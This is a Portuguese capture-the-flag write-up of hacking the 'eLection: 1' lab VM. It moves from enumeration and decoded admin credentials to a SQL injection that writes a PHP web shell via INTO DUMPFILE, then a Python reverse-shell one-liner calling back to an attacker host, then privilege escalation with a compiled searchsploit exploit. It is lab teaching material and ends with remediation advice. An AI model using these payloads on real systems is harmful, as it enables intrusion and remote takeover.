Pwning - eLection: 1

30 VMs em 30 dias [ 21 ] — Beco do Exploit

Mateus Taveira
6 min readDec 22, 2023

It is an OSCP-like VM, Medium Level difficulty.

Material de Apoio

Objetivo

  • A partir do IP da máquina, explorar vulnerabilidades
  • Conseguir acesso remoto e privilegiado à máquina através das vulnerabilidades encontradas

Reconhecimento

Antes de qualquer coisa, precisamos saber o que estamos fazendo: atacando uma máquina. Para que isso possa ser feito, nossa área de ataque consiste através da rede. Dessa forma, abusaremos de más configurações que englobem a comunicação entre os hosts, a partir dos serviços que ali rodam. Antes disso, vamos descobrir o endereço IP.

arp-scan -I <interface> <ip-rede>/<mascara>

Com isso em mãos, podemos enumerar as portas e seus respectivos serviços com o nmap, ferramenta muito conhecido para esse fim:

Vemos então que está rodando um SSH e um HTTP. Que tal abrirmos a página web para ver do que se trata?

Consiste na página padrão do Apache2, que é estática, então de nada deve nos servir por enquanto. Com poucas opções, podemos então enumerar os endpoints desse host, mas antes de um dirb ou dirbuster, podemos conferir o robots.txt e o sitemap.xml, que podem revelar caminhos existentes no site.

Dentro do robots.txt encontramos esses caminhos, já no sitemap.xml, nada. Com isso, podemos acessar eles até achar algo que nos interessa. De todos esses, apenas o /election/ retornou 200 ao invés de 404:

Bom, parece um site de votação em candidatos. Mas antes de qualquer coisa, vamos tentar enumerar alguns arquivos que podem nos ajudar ou serem o vetor da nossa exploração. Para isso, podemos usar o dirb ou o dirbuster, e nesse caso, que está rodando PHP, vamos filtrar por justamente essa extensão.

dirb http://<ip-addr>/election/ -X .php

Huum, poucas coisas, o que será que é esse card.php? Vamos abrir no Browser.

Ok. Código binário…? Vamos usar o CyberChef (famosa ferramenta de encoding e criptografia) para tentar descobrir seu significado.

Basicamente, a ferramenta converteu de binário para hexadecimal através de cálculos matemáticos, e comparou o valor hexadecimal com a tabela ASCII, tendo como resultado, outros números, que formaram o que aparenta ser outro binário.

Dessa forma, repetindo o processo, encontramos um usuário e uma senha!

E bom, se tem usuário e senha, tem lugar pra logar, né? Será que o painel vai estar no bom e velho /admin?

Justamente! E podemos em seguida acessarmos com as nossas credenciais!

user: 1234
pass: Zxc123!@#

Com essa conta Administrativa que temos, podemos acessar algumas áreas do site, como “Settings”, onde descobrimos algumas informações sobre o sistema:

Agora sabemos que o eLection se trata se uma plataforma, e não nome do site ou da empresa… com isso, podemos procurar por vulnerabilidades conhecidas com o searchsploit, já que temos a versão dela.

Perfeito! Um SQL Injection na exata versão que está rodando no servidor! Temos então como baixar e dar uma lida no que consiste a

searchsploit -m 48122
vim 48112.txt

Ele nos conta, basicamente, que ao adicionarmos um novo usuário podemos manipular parâmetro POST “id” de forma a injetar comando SQL no Banco de Dados do servidor.

E o que vamos fazer com essa vulnerabilidade sendo que já temos acesso administrativo no site…? Uma Reverse Shell!!

Exploração

Para isso, vamos utilizar o Burp Suite e capturar essa requisição nesse endpoint:

x

Percebemos a vulnerabilidade ao enviarmos uma ‘ (aspas simples)

Certo, a partir desse comportamento, vamos tentar executar comandos SQL no Banco de Dados. A primeira forma que testamos não deu certo, pois utiliza do ; (ponto e vírgula) para inserir um próximo comando. Entretanto, nesse caso, o banco não suporta esse paralelismo.

id=76; <SQLInjection>;-- -

Em um segundo momento, pensamos em utilizar o UNION SELECT, a fim de unir a seleção inicial com uma sob nosso controle. Para isso, escolhemos um id que não exista, justamente para determinarmos todos os campos, pois o UNION SELECT não sobrescreve.

id=999 union SELECT '','','','',<SQLInjection>;-- -

Com isso, para conseguirmos nossa tão esperada Reverse Shell, podemos utilizar da manipulação de arquivos a partir do SGBD, o que dependerá das permissões do usuário em que a query está rodando. Mas antes, vamos fazer um teste:

id=999 union SELECT '','','','',"<?php echo 'xsqdl'; ?>" into dumpfile '/var/www/html/titanzada.php'

Disso para um RCE é muito simples!

id=999 union SELECT '','','','',"<?php system($_GET['p']); ?>" into dumpfile '/var/www/html/avast.php'

E para um Reverse Shell simples, mais fácil ainda! Escolhemos Python, mas diversas outras formas podem ser utilizadas.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip-addr>",<porta>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Certo, agora nos resta fazer um Privilege Escalation.

Escalação de Privilégio

Para isso, uma das técnicas envolve a exploração de um processo que rode como root. Ao verificarmos quais são eles, encontramos um diferente, cujo nunca vimos antes, ou seja, provavelmente significa que foi instalado pelo Sysadmin, ou seja, maior potencial de ser falho.

ps aux

Pesquisando um pouco sobre ele pelo Google, descobrimos que se trata de um Software proprietário da SolarWinds:

E bom, por se tratar de um software justamente da SolarWinds, que não tem um histórico tão legal… não custa jogarmos no searchsploit né…

E bom. Não foram poucos… kkkkkkkk

Que tal filtrarmos um pouco?

Desses, vamos escolher o 47009, por não ser através do Metasploit e se tratar da maior versão. Então processo clássico, copiar o exploit e enviar pra máquina alvo:

Agora basta compilarmos, darmos permissão de execução e executarmos!

gcc -o <nome> 47009.c
chmod +x <nome>
./<nome>

E VOCÊ FOI OWNADINHO AHAHAHAH

Correção de Vulnerabilidades

  • Não armazenar credenciais encodadas em arquivos de texto acessíveis pela Web;
  • Utilizar autenticação com Multi-fator;
  • Checar constantemente e manter suas aplicações atualizadas;
  • Restringir privilégios no SGBD do usuário cujo intermedia a interação entre a Web e o Banco de Dados;
  • Bloquear ou filtrar o envio remoto de Shells;
  • Rever permissões relacionadas a processos;

Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!

https://www.linkedin.com/in/mateus-taveira/

https://www.linkedin.com/in/luis-santos-defensive-security/

--

--

Mateus Taveira

💉Development runs through my veins. 🩸 Cyber Security is my blood.